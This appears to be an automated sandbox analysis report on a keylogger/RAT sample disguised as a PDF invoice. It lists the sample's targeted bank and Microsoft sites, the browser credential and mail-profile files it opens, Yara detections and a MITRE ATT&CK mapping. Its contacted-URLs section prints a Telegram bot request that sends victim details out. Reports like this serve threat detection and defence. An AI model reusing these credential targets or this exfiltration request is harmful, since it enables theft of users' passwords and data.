Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4500348942.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll T
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.0000000004446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Process created: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rDEKONT-1_15_2025__75kb__pdf.exe	28%	Virustotal		Browse
rDEKONT-1_15_2025__75kb__pdf.exe	34%	ReversingLabs
rDEKONT-1_15_2025__75kb__pdf.exe	100%	Avira	HEUR/AGEN.1311126
rDEKONT-1_15_2025__75kb__pdf.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.96.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:414408%0D%0ADate%20and%20Time:%2015/01/2025%20/%2009:17:21%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20414408%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003286000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://www.office.com/lB	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003281000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
